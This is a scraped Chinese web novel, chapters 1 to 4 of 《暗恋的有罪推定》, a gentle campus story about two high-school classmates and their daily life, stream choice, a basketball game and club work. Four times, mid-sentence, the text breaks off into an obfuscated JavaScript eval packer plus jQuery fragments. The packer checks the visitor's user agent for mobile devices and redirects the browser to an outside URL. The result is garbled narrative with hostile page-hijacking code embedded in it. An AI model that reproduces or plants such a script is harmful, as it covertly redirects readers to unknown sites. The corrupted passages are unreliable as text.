《暗恋的有罪推定》 1. 第 1 章 九月,日暖风和,校道旁木樨成行,百年的古树上有鸟雀的欢乐叫声。 今天是高一新生开学报到的日子。 新生路既棠个头已经朝成年人的身高逼去。 铁灰色的书包被他单手背在肩上,套在身上的宽大白色T恤衫将他的身形衬得更加清瘦。 仗着身高腿长,一个单肩包被他背出了一点不羁的侠客味道。这个男生飞扬的眉目里有着少年人特有的蓬勃朝气,嫩得像在春日里抽芽的树。 他穿过“回”字形的教学楼,绕到转角的一个楼梯口处,一步一阶不紧不慢地直往六楼。 路既棠到了六楼,他扶着走廊上的护栏弯下腰低低喘了好一会气,缓过来后伸出空着的右手一把抹去鬓角处的薄汗,又拂开额前细碎的刘海,这才抬头开始寻找他刚刚开始的高中生活的新教室。 他运气很好。 走了两步,一抬头,他就看见了教室铭牌上的字,“高一(四)班”。 路既棠仔细打量了两眼铭牌上的字,又拿出新生入学报道时班主任发给他的校园卡,仔细确认了一遍贴在校园卡上的便签上的字。 然后,这个男生握着校园卡,扬起头,迈步走进教室,抬起握着校园卡的手,正要和教室里的人打声招呼。 然而当他定睛一看,教室里空空如也,除了他一只活物也没有。 于是他默默地把手上握着的校园卡收好了。 班主任通知说晚上六点四十分在教室集合,开高中的第一次班会。 路既棠怕到时候找不到教室会尴尬,所以提前两个小时就到了,其他同学大概不存在方向感差这种困扰,所以不需要像路既棠这样提前几个小时爬上六楼找教室。 路既棠站在讲台边环顾了一圈教室,最后选中了自己左手边的一个位置。 路既棠走到他挑中的座位旁,开始整理。 在他整理期间,有背着书包或者抱着书的人陆陆续续地走进教室,其中一人抱着书从路既棠桌前经过,走到路既棠斜后方的位置。 路既棠抬眼看他。 那人侧脸线条流畅,面容俊朗,穿着简单的短袖白衬衫和黑色长裤。 像是察觉到路既棠的目光,那人放下手里的书转过身来,和路既棠打招呼,“嗨。” 那人眼里有一把温润如水的光,认真看向一个人的时候尤为明显,那人目光扫过路既棠已经整理得差不多的书桌,笑道:“你到得可真早。” “刚到没多久。”路既棠弯起眼睛,笑吟吟地看向对方,“你好,我叫路既棠。道路的路,既然的既,海棠的棠。” 路既棠一边说一边默默打量对方的身高。 眼前的这个人比他还要高。 对方侧身温声说:“我姓殷,叫殷倚松。”他拿出纸笔将他的名字写下来。 这个男生的字很好看,方正有劲,和他这个人的气质很像。 “真好,”路既棠看着他笑着说,“你是我今天认识的第一个人。” “是吗?”殷倚松拿起桌上的书边整理边温和地应和,末了他又问了一句,“对了,你住哪个寝室?” 路既棠沉默了,他开始在脑中搜刮寝室号这个东西。 殷倚松看了他一眼,体贴地提示:“我们班的男生寝室都在三号楼的第六层,607室是右手边的楼梯往中间数过来的第二个,608室是七班的寝室,从第二个开始再往中间数的三个寝室都是我们班的,你在哪个寝室呢?” 路既棠没有去过宿舍区,对此依然没有印象。 殷倚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396625|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松把自己的校园卡放在路既棠眼前,“或者你可以看看自己校园卡,上面有写寝室号。”他想了想又提醒道:“你撕开上面的便签,就在便签的背面。” 路既棠豁然开朗,翻出自己的校园卡查看,“607室。” 他再看了一眼殷倚松的校园卡,“和你的一样,真巧。” “这么巧。”殷倚松轻笑出声,眼睛里的光更细微绵长。“你可以先把行李拿到宿舍整理一下。” 晚上六点四十分。戴着眼镜斯斯文文的中年班主任踏着铃声走进教室。 班主任自我介绍:“我姓邓,全名邓宁煜。”他紧接着讲了一下南中的校史,说罢又开始追忆他带的上一届毕业生中的风云人物,然后又提了几点他对全班同学的要求,最后他以一句“我希望同学们得之坦然,失之淡然,争其必然,顺其自然”结尾。 接下来就是全班同学的自我介绍环节。 自我介绍一向是让社牛欣喜、社恐落泪的重要社交环节。 班主任走下讲台,走到教室门旁,招呼坐在第一组的第一排的一个女生,“上去做个自我介绍,让大家认识一下你。” 介绍一圈下来,路既棠发现—— 社恐同学们:“大家好,我叫某某某,来自某某初中,请多指教,谢谢大家。” 社牛同学们则是一上台先来一段社牛语录,介绍自己的兴趣爱好,在台上和同学们唠嗑到班主任打住之后,还要再加上一句“哪位大神吃鸡技术好的带带我”才意犹未尽地下场。 路既棠特意认真听了一下他的新室友殷倚松的自我介绍,发现对方也是说得十分简洁。 最后,第一次班会在自我介绍之后的班主任总结落下帷幕。 路既棠的高中生活也即将扬帆起航。 2. 第 2 章 刚上高一的路既棠还没有完全适应高中的作息方式。 入了冬之后,早上更是起不来,为了多睡几分钟,他经常拖到上课铃快响才起床洗漱,早餐都没来得及买就踏着预备铃声匆忙赶去教室。 入学一个月后调了座位,殷倚松成为了路既棠后桌的后桌——路既棠坐第二组第四排,殷倚松坐第六排。 路既棠是语文课代表,经常要走下去收作业,大概是看路既棠脸颊的红润一点点消失,当天晚上,在宿舍外的走廊上,殷倚松和声对他说:“你经常不吃早餐对身体不好,要不然这样吧,前一天晚上熄灯前你把卡给我,跟我说要吃什么,我帮你买早餐。” 路既棠抬头看他,清澈的眼底含着显而易见的惊讶和疑惑。 殷倚松平铺直叙地说道:“我起得早一点,也要去食堂买早餐,带你的那份是顺路。” 路既棠张口,正要谢绝他的好意。 殷倚松似乎知道他要说什么,“不麻烦的,都是室友。” 就这样,殷倚松给他买了一个冬天的早餐。 到后来,哪怕食堂临时调整了早餐餐谱,不需要路既棠说,殷倚松也知道路既棠想吃什么了。 路既棠有点挑食,太甜的东西不喜欢,比如荞麦馒头,太淡的东西也不喜欢,比如素面。 如果食堂只剩这两样,殷倚松买回去给他时,他倒也不是不吃,只是会吃得很少。 剩下的,他会在大课间拿去学校的人工湖红亭喂鱼。 元旦之后,路既棠不好意思再麻烦殷倚松,铃响之后不久就能从床上爬起来,虽然总是犯困,但也能自己去食堂买早餐了。 但路既棠也还是和之前一样,周末从家里回来后,都会给殷倚松一些小零食当谢礼。 因为买早餐这件事,和其他室友相比,路既棠显然和殷倚松更熟络一些。 但和殷倚松关系熟络,却不仅仅是因为殷倚松帮他买早餐。 开学不久后,社团招新。路既棠和殷倚松又凑巧加入了同一个社团。 那时候,殷倚松跟他一起用毛笔写社团冬至板报的字,他跟着殷倚松在午饭时间到教室里分发社团资助商的广告。 可以说,这一整个学期,与路既棠交集最多的人,就是殷倚松。 很快,高中的第一个学期在期末考结束中落幕。 寒假里,路既棠还是和往年一样,跟着奶奶去亲戚家拜年收红包,收完红包就约朋友们去玩剧本杀,玩耍之余还会跟着奶奶练书法和种花。 假期过得充实而有滋有味。 但一整个假期下来,在路既棠的寒假作业中,语数英大三科的练习册虽然没有不像话地全空着,但也绝对达不到老师的要求,其他科的还要过分一点,卷子几乎都是空的。 路既棠还没改掉初中不写寒假作业的习惯,心也宽,想着大不了被老师说几句,没什么大事。 而对于开学考试要考寒假作业里的题这件事,路既棠打算和初中一样,开学了再临时抱佛脚。 寒假收假后,路既棠到班主任邓宁煜的办公室报到。 邓宁煜把印着“班级第一”、“年级第四”的成绩条递给他后,和他闲聊:“你上个学期填的拟文理分科志愿表不改了,确定选文科了吧?” 之所以有这一问,是因为南中一贯的传统——高一的第二个学期文理分科。而在高一第一个学期快结束时,学校会安排高一各班班主任让确定选文的学生填一个拟分科志愿表。 这个表没有具体效力,只是方便学校了解这一届选文的学生人数,真正的文理分科还是要等到高一第二个学期填志愿表才能最终确定下来。 路既棠接过成绩条,笑道:“不改,确定了。” 邓宁煜听了之后笑出声来,“你这个成绩,选文科会不会觉得可惜?” “如果是因为喜欢,就不会觉得可惜。”路既棠说道。 邓宁煜眼镜后的目光颇有深意,“你要想清楚了,就算在南中,文科生也基本和决定是否能够保送的竞赛绝缘。” 路既棠推了推鼻梁上的细框眼镜,眼睛里有光,像星星一样,“上个学期期中考,大家的成绩达到您的预期,您遵守约定放了一部纪录片。” 邓宁煜点头。 那是一部讲述国家近几十年来发展的纪录片。 纪录片里—— 宇航员翱翔九天,睁眼所见就是璀璨的星河。 科研人员拿着试管,显微镜下是正在探索的微观宇宙。 程序员操作键盘,一串串冰冷整饬的代码浮在眼前…… 腾飞的卫星,疾驰的列车,拔地而起的城市…… 这一切似乎都出自理科生之手。 文科生在这幅瑰丽的画卷中笔墨寥寥。 “看完那部纪录片后,班上有同学和您说,在纪录片里,国家的建设好像都是理科生的事,文科生插不上什么手。” 邓宁煜那时候说:“文科生怎么会插不上手呢,我们说政治对经济和文化都有反作用呢,理科生固然好,往后工科和理科两开花,地基需要这些人才搭起来,可再向上走,如果没有哲学与政治作为引领,哪怕地基再牢固,这栋大楼也会因为建错了方向而全盘崩溃。” “科技作为硬实力能卫国,文化作为软实力可安.邦,文化和科技是这样,经济和政治是这样,文科和理科也是这样,两者是共生的,缺一不可。” “不要觉得文科没什么用,很多时候,无用之用,尚且为大用,更何况文科呢?” 路既棠一字不差地复述邓宁煜那时候说的话。 在邓宁煜愈发深邃的目光中,路既棠说道:“我对您当时说的话印象很深,但我没有那么崇高的理想和志向。我只想选我喜欢的历史。” 他眼里的光愈发明亮,“她是我此生见过最浪漫的姑娘。” 文理分科后,路既棠跟着教政治的班主任邓宁煜进了文科班。 那段时间,南中表白墙上投稿的一半帖子都在说四班的两个帅哥选了文科——本来选文科的男生就很少,长得这么好看的两个男生一起选文科就更少见了。 帅哥的名字表白墙上也明明白白地写了。 一个是路既棠,一个则是路既棠现在的同桌的殷倚松。 殷倚松选了文科这件事在路既棠意料之外,因为殷倚松的成绩也很好并且之前还提过以后想学医。 在路既棠的印象里,很多医学专业只招理科生。如果殷倚松真的要学医,学文反而是他的掣肘。 路既棠没有明问,只是自己私下观察,殷倚松选文似乎是家庭的原因。 自从和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396626|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷倚松成为同桌之后,他们在一起的时间就比上学期多了许多,中午也会一起去食堂吃午餐。 这天中午下课后,殷倚松拿出饭卡,和往常一样,招呼路既棠去食堂,“今天中午你想吃什么?” 路既棠正眼睛一眨不眨地想事情,直到殷倚松将手指放在他眼前摇了摇,他才回过神来。 “在想什么?”殷倚松从熟练地从路既棠的抽屉里帮路既棠拿出饭卡。 他手上拿着两个饭卡,站在过道那里等路既棠。 路既棠站起来,眼睛弯起来来,“想‘茴’的四种写法。” 殷倚松也笑,“那跟我说说。” 两人说话间走到了食堂。 他们来得晚,食堂已经没有多少菜了。食堂阿姨和往常一样,动作匆匆,大概是为了解决剩下的汤水,阿姨给路既棠打完饭菜之后,又额外给他加了一勺青菜汁水。 路既棠低头一看绿糊糊的碗,整个人都快晕厥了。 路既棠沉默地走到食堂后,那里站着一个正在收集剩饭回去喂家禽的阿姨,他把碗里的饭给了那个阿姨,一口也没吃。之后,他对站在他身后的殷倚松说:“我去超市买点吃的,你先回去吧。” 殷倚松看着他,应了声好。 等路既棠回到宿舍,殷倚松已经冲了一杯芝麻糊放在他床边,“你喝点这个垫垫肚子再吃泡面。” 他们俩和原来四班几个选文科的女孩子按照成绩被分到了三班,班主任依然是邓宁煜。宿舍也重新分配了,幸运的是,路既棠和殷倚松又分回原来的607室,但他俩这回成了上下铺。殷倚松睡上铺,路既棠睡下铺。 宿舍里其他人要么在洗澡洗漱,要么在坐在床上看书做作业——分科之后,课业压力只增不减,午休前的一小段时间也弥足珍贵。 路既棠午睡前也习惯看一会书,只不过他看的是一些助眠的历史书。 可能是因为吃了没有完全泡软的泡面,路既棠不太舒服,睡得也不安稳。 等他睁眼的时候,宿舍的人差不多走光了。之所以说差不多,是因为殷倚松还在。往常他醒时,殷倚松已经走了,但今天却还在宿舍倚在床边喝水,看他坐了起来,殷倚松说道:“你睡着的时候一直在皱眉,是不是胃又不舒服了。” 路既棠的侧脸带着枕头压出来的印子,有点刚睡醒的茫然,他缓了一会,下床穿鞋洗脸,“没有不舒服。”他很快就弄好了,看了一眼手表,“还有五分钟,我们快走吧。” 殷倚松“嗯”了一声,两人一起下楼,穿过林荫道,径直往靠近教室的楼梯口快步走去,午后的风携着晚春的阳光将两人抱入怀,挺拔的少年行走带起的暖风绕树而上,吻了巢中的雏鸟。 路上,殷倚松对他说道:“今天是例外,以后你尽量少吃泡面,不然胃会不舒服。”他以前也劝过路既棠,但会很有分寸,这么直白地说还是第一次。 以前也有过几次,路既棠胃疼,殷倚松会帮他按一下穴道,殷倚松按过之后,他的胃疼会缓解很多。路既棠问过他为什么会这么了解穴道,当时殷倚松只说家里爷爷是医生。 进入高中后,路既棠并没有急于像初中一样交一群朋友,做什么都熙熙攘攘的,现在他只交让他觉得舒服的朋友,分了科之后,经常一起走的,居然只有殷倚松一个人。 3. 第 3 章 两人踏着预备铃声从后门走进教室,班上的同学已经陆陆续续站起来午读。 二十分钟的午读结束后,五十多岁的地理老师夹着课本和教案走进教室,他身材魁梧,长着一张标准的国字脸,笑起来时看着很好亲近。 地理老师把夹着的课本和教案放到讲台上,“同学们,你们班主任应该和你们说过了,周六文理分科后的第一次大考,主要是为了测试同学们的文理综水平,大家都好好考。” 众人面面相觑,班主任还没和他们说。 众所周知,在三班,小道消息的传播速度>各科老师消息的传播速度>班主任消息的传播速度。 他说完后,也不管同学们的窃窃私语,转身打开白板,开始上课。 周六转眼就到。一天的时间考完六个科目,就算路既棠早就习惯南中的考试模式,心情也没有像以前考完试时那么轻松。 因为他对这次的考试并没有完全的把握。 这是分科之后的第一次大考,名次会随着科目的变化产生较大的变动,这种没有把握本质上来源于自己和周围人水平高下的未知。 果不其然,成绩并没有完全达到路既棠的心理预期。 成绩出来的那天早上,路既棠拿着卷子叫住了下课欲走的历史老师。 年轻的女老师有着一头飘逸的长卷发,眼睛很亮,看向人的时候很温柔。 路既棠问她:“老师,我考得不是很好,能耽误你一点时间帮我看一下我的卷子吗?” 历史老师定睛一看,轻呼:“啊,路既棠,确实,你这次应该考得更好才对。” 路既棠有些诧异,“老师,您记得我?” “那当然,你可是我在四班教的第一名。”历史老师姓林,路既棠高一第一学期的历史就是她教的。 路既棠之所以有这一问,是因为高一第一学期文理还没有分科,历史教师人数又少,林老师一个人得教六个班。 学生人数太多,路既棠没有想过老师能记住除课代表之外的人,还能记住名字并把名字跟人脸对上号。 显然,林老师的记忆力很好。 历史老师说话间走到辅导桌旁坐下,又拿出红笔开始给路既棠讲题,她细长的柳叶眉弯起,笑得很温柔,最后她总结道:“可能乍一开始全面系统地学文综有点适应不过来,缓缓就好了。你在文科上很有天赋,我看好你。” 路既棠听后,看向历史老师,向她道谢。 历史老师把卷子叠好还给他,站起身来,语气雀跃轻快,“好了,我要去吃饭啦,你也早点去吧。” 她把历史书拿起来,右手小指勾住套着U盘的钥匙扣,踩着高跟鞋走了,淡紫色的长裙裙角在走动间随风飘起,光影斑驳。 远远看上去,她整个人像是一株盛放在春日里的紫罗兰,夸姣温婉。 路既棠拿着历史卷子刚回到座位,他的室友吴睿凌就扑了过来,“哥!就等你了,今天中午有咱们班的篮球赛,一起去看看!” 吴睿凌生得白净乖巧,在班上人缘极好,因为是室友的原因,和路既棠很亲近,可吴睿凌平常也不叫他哥,但求人的时候是例外。 每年春季,南中都会在高一、高二年级中组织球赛,男生的是篮球赛,女生的是排球赛,选拔优秀的球员和其他学校的球队比赛。 吴睿凌一指空空如也的教室,“看,咱们班的女生都冲了。” 路既棠低头看他,“我们一个文科班,男生只有十个,据我所知,我们俩和潘禄林都没去,就算剩下的七个男生都去了,能组成一个篮球队吗?”他一边说一边把历史卷子放进试卷袋。 “嗐——”吴睿凌一看有戏,于是抓紧时间说道:“这次的篮球赛,体育老师看我们文科班男生人数太少,大发慈悲,让文科班的男生组一个‘文科联盟’,报名的男生,总够一个篮球队了!” 他招呼路既棠,“走走走!” “今天中午我们文科班对十六班,十六班的人一向很猛,不知道我们文科班的还能打多久。”吴睿凌叹了口气,“我们班的女生今天可不止为班里的男生加油,毕竟十六班那么多帅哥,要是你还不去镇场子,咱们三班的气势可就更弱了。” 路既棠一听就笑了,“哪有那么夸张,不要小看女孩子们,再说殷倚松不是也在吗?” 他拍了拍吴睿凌的肩膀,“走吧,我们去篮球场。” 两人到篮球场附近时,篮球场外围已经被围得水泄不通。 吴睿凌习以为常地凑近人堆里,拍了拍一个踮起脚尖使劲把头往前凑的女生的后背,喊:“江梓丹——” 那女孩子转过头来,在看清来人后,当即换了脸色,扎着马尾文文静静的女孩子在喧闹的人声中气沉丹田,怒吼出声,“吴睿凌!你怎么现在才来,咱们班跟十六班的比赛都过去一节……” 她一个“了”字的音还没来得及喊出来就看到了站在人群外围的路既棠。 只见这姑娘当即收了怒意,温柔地接上方才的话,“好样的,你把路既棠也叫来了,咱们班又多了一个观众,辛苦了。比赛都过去一节了,现在我们班领先十六班五分。” 她腾位置出来,对吴睿凌说:“来,往这站。”说着她抬手招呼路既棠。 路既棠冲她笑了一下,他向周围给他让路的人道谢,然后抬步挤进人群中。 身高腿长的优势在此时显现出来了,他在人群中毫不费力地看到了篮球场中的殷倚松。 殷倚松穿着一身白色球服,在篮球场中奔跑。他运着球,小心地闪避截球的对手。 路既棠戴着眼镜,能看到殷倚松脸上的表情。殷倚松面色沉静,目光中却隐隐带着快意和征服欲。 路既棠看着他闪身错开了三个堵住他的人,将球传给离他三米远的室友肖意。肖意刚接过球,就被对方队的其他人围住了,殷倚松跑出几米,冲肖意比了个手势。 片刻后肖意把手中的球抛出去。守在一旁的室友覃达扑了上去,一把夺过球,又将手中的球传给已经跑出十几米远的殷倚松,篮球在空中划出一道漂亮的抛物线,跨越近半个球场,落到殷倚松身旁。 殷倚松长臂一捞,将球运起。随即,他侧身让过飞奔上来堵他的人,一跃而起,站在三分线外将篮球抛进篮,落地。 全场静了一瞬,裁判吹哨,将牌翻起,场外的观众已经叫起来:“又一个三分球!” “听说那是三班的殷倚松,”周围有人谈论,“又高又帅,球打得也好,真养眼。” 另一道声音则小了很多,“早就听说三班的风水养人,不止女生漂亮,男生也好看,你看一眼站在你左边的帅哥……别回头,悄悄看一眼就行了,那是路既棠。” 过了一会,音量小的那道声音响起:“看到了吗,是不是很好看,路既棠是我见过的最有书卷气的男生。” 一开始的那个声音响起,有些恍然,“是啊,他雅致得像一幅山水画。我终于明白表白墙为什么会那么偏爱他了,他看着就像是学文科的,古书卷才和他相称。” “是啊。”音量小的那道声音的主人赞叹道,然后问道:“哎,殷倚松是不是在找人?” 球场里,殷倚松用手肘擦额上的汗时往路既棠和吴睿凌看。看到路既棠后,殷倚松的目光动了动,而后冲这边露出一个很轻的笑容,转瞬即逝。 路既棠看着他,做了一个口型——“加油”。 中场休息的时候,班长岑嘉凝把一箱矿泉水搬到篮球场附近的大榕树下,又招呼班上的人,“大家过来,把水拿过去给比赛的同学分一下,补充点水分。” 路既棠拿了水,正要和其他人一样往球场去,岑嘉凝叫住他,“路既棠,你等一下。” 路既棠停步,“怎么了?” 岑嘉凝咳了一声,“最近活动有点多,过两周有个书画展,班里报名油画和素描的人挺多的,但报名国画的人还空缺着,我听秋柔说你国画画得挺好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396627|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,要不要试一下?” 路既棠考虑了一下最近的安排,最后答应下来,“行,可以的。” 殷倚松看着迎面走过来的路既棠,笑起来,“你刚刚去哪了,我在等你的水。” 路既棠把水塞给他,“其他人早就拿水过来了,干嘛非要等我拿的。” 殷倚松眼睛弯起来,“我只是想,你既然来了,就一定会过来的。” “我不太看篮球赛,也不明白规则,”路既棠看向裁判桌,“我们现在是领先五分了,那后面能稳了吗?” 殷倚松眼里笑意更深,“难说,只要对方水平够高,也有可能下半场就扳回去,就算是小比赛,最后一分钟也不是不能力挽狂澜,像上一场,六班对十班,上半场十班领先六班十七分,但下半场却被六班反超了。” “你今早早餐没吃几口,应该饿了,第四节的时候换人,我打完下一节就能撤了,到时候一起去吃饭。”殷倚松说道。 话音刚落,肖意走了过来,他握着一瓶喝了一半的矿泉水,嘴唇上还挂着几滴水珠。“我们先过去,下半场的比赛快开始了。”肖意冲路既棠一点头,他说完后就和殷倚松往裁判桌那边去了。 下半场的比赛很快开始。路既棠退回到观众站的地方。 殷倚松打完第三节下场的时候,额前的细密的薄汗仍在冒着,路既棠拆了随身携带的纸巾递给他,殷倚松擦了汗之后拉着路既棠往食堂走,“第四节还要打一阵子,我们先去买午饭。” 路既棠觉得有点想笑,但还是跟着他走,“我虽然饿,但也没到不吃饭就会饿晕的程度,刚刚吴睿凌和我说,比赛结束之后,你们还要再全部上去确认比赛结果的,等一会你回来会有点麻烦,我再等等也没事的。” 殷倚松回头看他,“去晚了,会像上次一样,买到你不喜欢吃的饭菜。” 他们俩走的是一条绿意盎然的小道,虽然是小道,但因为它是通往食堂的捷径,所以走小道的也有不少人。 殷倚松穿着白色球衣,身形挺拔,他行走在日头下,像一把入鞘的刀刃,暗敛着锋利的光芒,很惹人注意。路既棠跟在他身后,能看到走过的人频频回头看。 路既棠看着殷倚松的背影,或许只有篮球能让殷倚松稍微露出一点区别于平时温和的锋芒来。 两人从食堂出来后,路既棠没有急于回宿舍,而是又和殷倚松回了球场。 他们到的时候,十六班的一个高个子男生以一个精准的扣篮结束了比赛,十六班以领先“文科联盟”十五分的成绩胜出,全场哗然。 路既棠下意识看了一眼殷倚松,对方看着场上的情况,表情没什么变化。 路既棠沉吟了一会,开口道:“篮球比赛,讲究的是团队的配合,每一环都牵动全局,输赢是常有的事,以后总有赢回来的时候。” “我知道。”殷倚松看着他的眼睛里含着笑意,“我先过去了。” 球赛在十二点半结束,正好是午休的时间。 大家陆陆续续回到宿舍。 室长李未序压低声音叹息,“真没想到十六班的人能猛成这样,就穿红色球鞋那高个子,打法真是凶,撞了咱们这边好几个人,我下次可不想再碰到他。” 吴睿凌苦涩:“‘文科联盟’没晋级,也没有下次了。” 刚刚在场上比赛的人正轮着进浴室冲澡,路既棠洗碗时,殷倚松正从浴室出来,紧接着肖意就进去了。 殷倚松的头发还在滴水,他正拿着干爽的毛巾擦,路既棠从他身边走过,手背还沾了几滴对方头发上的水珠。 男生的头发短,干得快,在路既棠爬上床时,殷倚松的头发已经干得差不多了。 众人差不多已经躺在床上了,在路既棠躺下之前,殷倚松叫住了他,低声提醒:“今天星期一,第九节要大扫除,这周到我们组了。” 路既棠困意上涌,只跟着他的话点了点头,然后他听到殷倚松说:“好了,快睡吧。” 4. 第 4 章 “路既棠。”有人敲了敲路既棠的桌沿。 正是下课时间,路既棠把头搁在胳膊肘上睡觉,听到声音后艰难地把头跟胳膊撕开,“怎么了秋染?” 柳叶眉杏仁眼的女孩子眉眼弯弯,“书画比赛的宣纸,我帮你领回来了。”她将手里卷成轴的宣纸递过去。“你怎么这么能睡啊,初中下课时明明那么活泼。” 路既棠已经从迷糊的状态中清醒过来,他接过宣纸,说话很简洁,“谢了。我也想知道。” 杨秋染,生在秋末,比路既棠小三个月。取“万山红遍,层林尽染”之意,秋意染就的颜色,也可以是鲜艳的、浓烈的、活泼的。 她和路既棠一起长大,幼儿园、小学和初中都是同班同学,刚进高中时不同班了,这个女孩子还遗憾了好一阵子,直到文理分科又把他们俩分到同一班。 “你画国画,我画素描,”杨秋染笑得明媚,“就算赛道不同,我们还和以前一样比比,看最后谁的更胜一筹。” 路既棠也笑,“期待。” 杨秋染说话间看了两眼路既棠旁边的空座位,“殷倚松又出去了?他最近总往七班那边去。” 他同桌的事。 路既棠挑眉,“细说。” 杨秋染刚开口,突然就顿住了。 下一刻,殷倚松从后门走进教室,手上拿着一个活页本。 杨秋染做了个撤退的手势,“我先走了。” 殷倚松拉开椅子坐了下来,把活页本放到桌上,脸色有些阴沉。 他是第一次看到殷倚松的脸上露出这样的神色。 这让路既棠不禁有些好奇。 他瞥了一眼活页本,封皮上写了班级和名字——“七班,梁艺珊。” 七班是理科的实验班,而梁艺珊看着像一个女孩的名字。 路既棠收回了目光。 他好奇归好奇,却不太想在殷倚松心情明显郁结时过问当事人,毕竟这总归是别人的事情。 恰好上课铃响了。 地理课代表杨秋染拿着书站起来,“请大家拿出必修二的地理书,翻到三十二页。”课前读是许多学校不成文的习惯,尤其是文综科目。 这个下午过去得很快,到了第九节大扫除的时间了。 路既棠戴上一次性手套,拎起一块擦窗的抹布,把它浸在教室内走廊的水池里,揉洗干净,开始擦窗。 他个子高,擦起窗来没费什么劲,还有余力去给跟他分到一起擦窗的女孩子搭一把手。 他微仰着头擦窗,对江梓丹说:“这边我来就好了,你去看看栏杆上还有什么要擦的地方吧。” 江梓丹应了一声好,又说:“谢谢你,如果抹布需要清洗换水的话你喊我一声。” 路既棠现在正单脚轻踩着一个等会就要扔掉的纸盒——这个纸盒只要不用力踩就不会塌,他擦着窗户最高的那部分窗沿,回道:“好的。” 路既棠擦完内走廊的窗户,从纸盒上下来时,正碰上殷倚松提着拖教室里地板用的拖把往内走廊的水池这边走过来。 殷倚松走得很小心,像是怕拖把上的脏水弄湿了内走廊的干地板。 他把拖把浸在左边低一点的水池里——教室的内走廊有两个水池,一个和平常的洗手池差不多,洗手洗碗都可以,一个则类似于水缸,专门用来洗拖把。他说:“教室的地板再拖一次就可以了,快好了。” “如果我们再快一点,说不定还能赶上买食堂最后的鸡腿。”路既棠作摩拳擦掌状。 殷倚松如墨的浓眉扬起来,神色有些愉悦,他“嗯”了一声。 这天傍晚,路既棠凭借着大扫除的高效率节省时间,如愿买到了他想吃的鸡腿。他在宿舍洗完澡时,已经差不多六点,而他六点十分还要去开一个社团部门的短会。 南中对社团的宽容度很高,这也使得许多社团在这样的环境中敢于百花齐放——虽然不如大学里的社团种类样式繁多,但也自成体系,有专门的管理制度,也有专门的社团联统筹协调。 这座学校恐怖的学习强度和升学率并不会削弱它的课程标准的兼收并蓄、课外活动的丰富多彩。 路既棠加入的周南文学社是他入学那年刚成立的,创始人叫魏文昊,和路既棠同一级,来自七班。 路既棠只加入周南文学社这一个社团——他喜欢安安静静的社团,尽量避免加入动不动就有剧烈运动的运动型社团,如羽毛球社、篮球社、滑板社等等。 殷倚松则不同,他性情温和,与人为善,时常还会给同学搭把手,对很多关于运动的项目都感兴趣,除了跟路既棠一起加入的周南文学社,还有平川篮球社、空白羽毛球社。他好像有用不完的精力——用来尝试各种各样的运动。 路既棠对于社团的了解,还是从殷倚松那里来的。 当初路既棠去面试周南文学社,面试完了才看到殷倚松。两人当时还交流了一下面试的问题。 周南文学社招新时,路既棠听信江湖谣言——周南文学社的社长魏文昊在古文上很有造诣,还写得一手好看的小篆,但这些都不重要,重要的是,都是一个年级的,到时候社长应该也不敢太压榨他。于是他就兴冲冲地揣着报名表去了。 面试的时候,魏文昊问他:“我看你在特长里写,你会书法和国画,”他点着路既棠那张报名表,“还会……还会古筝?” 路既棠还没意识到事情的严重性。他看着对方真诚地答:“是的。”眼神清澈得像一汪汨汨流动的泉眼。 魏文昊看他的眼神仿佛是看一头属于社团未来的生产队的驴。 只见魏文昊干咳一声,对着路既棠的报名表赞叹道:“你的字写得真好看,挺有风骨。” 然后,魏文昊就当场拍板,让路既棠被迫从自己想去的编辑部调剂到了宣传部。 众所周知,宣传部的工作不会特别轻松,刚刚成立亟需知名度的社团在这方面的工作量更是青出于蓝。 但当时的路既棠对于社会的险恶还一无所知。 路既棠在六点十分准时到达开会的地点。等魏文昊布置完当月的主要任务后,一行八个人,有六个人一溜烟就没影了。路既棠也想走,却被魏文昊按住了。 魏文昊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396628|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 